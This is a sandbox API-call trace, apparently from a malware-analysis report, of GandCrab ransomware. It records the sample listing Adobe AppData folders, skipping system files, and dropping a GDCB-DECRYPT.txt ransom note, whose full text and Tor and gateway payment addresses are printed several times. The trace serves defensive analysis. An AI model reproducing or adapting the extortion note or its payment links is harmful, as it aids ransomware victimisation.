(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\0FDED5CEB68C302B1CDB2BDDD9D0000E76539CB0.crl") returned 117 [0053.312] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.313] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0053.313] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2=".") returned 1 [0053.313] lstrcmpW (lpString1="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl", lpString2="..") returned 1 [0053.313] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl" [0053.313] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.313] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117 [0053.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\CE338828149963DCEA4CD26BB86F0363B4CA0BA5.crl") returned 117 [0053.313] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.313] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 1 [0053.313] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.313] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.313] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt" [0053.313] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.313] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0053.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0053.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0053.313] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\CRLCache\\GDCB-DECRYPT.txt") returned 89 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.313] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.313] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.314] FindNextFileW (in: hFindFile=0x589320, lpFindFileData=0x285e5f8 | out: lpFindFileData=0x285e5f8) returned 0 [0053.314] FindClose (in: hFindFile=0x589320 | out: hFindFile=0x589320) returned 1 [0053.314] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 1 [0053.314] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.314] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.314] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt" [0053.314] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.314] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0053.314] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0053.314] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0053.314] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\DC\\Security\\GDCB-DECRYPT.txt") returned 80 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.314] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.314] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.314] FindNextFileW (in: hFindFile=0x589620, lpFindFileData=0x285e880 | out: lpFindFileData=0x285e880) returned 0 [0053.314] FindClose (in: hFindFile=0x589620 | out: hFindFile=0x589620) returned 1 [0053.314] FindNextFileW (in: hFindFile=0x5892e0, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0 [0053.314] FindClose (in: hFindFile=0x5892e0 | out: hFindFile=0x5892e0) returned 1 [0053.315] FindNextFileW (in: hFindFile=0x589360, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.315] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.315] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0053.315] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.315] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0053.315] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0053.315] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0053.315] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 68 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0053.315] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0053.315] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.315] FindNextFileW (in: hFindFile=0x589360, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0 [0053.315] FindClose (in: hFindFile=0x589360 | out: hFindFile=0x589360) returned 1 [0053.315] FindNextFileW (in: hFindFile=0x589020, lpFindFileData=0x285f018 | out: lpFindFileData=0x285f018) returned 1 [0053.315] lstrcmpW (lpString1="Flash Player", lpString2=".") returned 1 [0053.315] lstrcmpW (lpString1="Flash Player", lpString2="..") returned 1 [0053.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\", lpString2="Flash Player" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player" [0053.315] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\" [0053.315] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.315] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.315] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.316] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.316] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.316] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.316] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned 57 [0053.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0053.316] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0x589660 [0053.316] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.316] FindNextFileW (in: hFindFile=0x589660, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.316] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.316] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.316] FindNextFileW (in: hFindFile=0x589660, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.316] lstrcmpW (lpString1="AssetCache", lpString2=".") returned 1 [0053.316] lstrcmpW (lpString1="AssetCache", lpString2="..") returned 1 [0053.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0053.316] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned 67 [0053.316] FindNextFileW (in: hFindFile=0x589660, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 1 [0053.316] lstrcmpW (lpString1="NativeCache", lpString2=".") returned 1 [0053.316] lstrcmpW (lpString1="NativeCache", lpString2="..") returned 1 [0053.316] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="NativeCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache" [0053.316] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\NativeCache") returned 68 [0053.316] FindNextFileW (in: hFindFile=0x589660, lpFindFileData=0x285eb20 | out: lpFindFileData=0x285eb20) returned 0 [0053.316] FindClose (in: hFindFile=0x589660 | out: hFindFile=0x589660) returned 1 [0053.316] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.316] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\\\GDCB-DECRYPT.txt") returned 74 [0053.316] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0053.318] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.318] WriteFile (in: hFile=0x4f8, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285ed74, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285ed74*=0xad6, lpOverlapped=0x0) returned 1 [0053.319] CloseHandle (hObject=0x4f8) returned 1 [0053.319] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.319] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\") returned 57 [0053.319] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*" [0053.319] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\*", lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 0x589060 [0053.319] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.319] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.320] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.320] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.320] FindNextFileW (in: hFindFile=0x589060, lpFindFileData=0x285ed90 | out: lpFindFileData=0x285ed90) returned 1 [0053.320] lstrcmpW (lpString1="AssetCache", lpString2=".") returned 1 [0053.320] lstrcmpW (lpString1="AssetCache", lpString2="..") returned 1 [0053.320] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\", lpString2="AssetCache" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache" [0053.320] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\" [0053.320] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.320] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0053.320] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0053.320] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0053.320] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0053.320] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.320] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned 68 [0053.320] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*" [0053.320] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0x589460 [0053.321] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.321] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.321] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.321] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.321] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 1 [0053.321] lstrcmpW (lpString1="NAHQNPMN", lpString2=".") returned 1 [0053.321] lstrcmpW (lpString1="NAHQNPMN", lpString2="..") returned 1 [0053.321] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="NAHQNPMN" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN" [0053.321] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\NAHQNPMN") returned 76 [0053.321] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285e898 | out: lpFindFileData=0x285e898) returned 0 [0053.321] FindClose (in: hFindFile=0x589460 | out: hFindFile=0x589460) returned 1 [0053.322] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.322] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\\\GDCB-DECRYPT.txt") returned 85 [0053.322] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\adobe\\flash player\\assetcache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4fc [0053.323] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0053.323] WriteFile (in: hFile=0x4fc, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285eaec, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285eaec*=0xad6, lpOverlapped=0x0) returned 1 [0053.323] CloseHandle (hObject=0x4fc) returned 1 [0053.324] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.324] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\") returned 68 [0053.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*" [0053.324] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\*", lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 0x589460 [0053.324] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0053.324] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.324] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0053.324] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0053.324] FindNextFileW (in: hFindFile=0x589460, lpFindFileData=0x285eb08 | out: lpFindFileData=0x285eb08) returned 1 [0053.324] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0053.324] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0053.324] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt" [0053.324] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0053.325] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0053.325] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0053.325] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0053.325] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Adobe\\Flash Player\\AssetCache\\GDCB-DECRYPT.txt") returned 84 [0053.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0053.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0053.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0053.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0053.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0053.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0053.325] 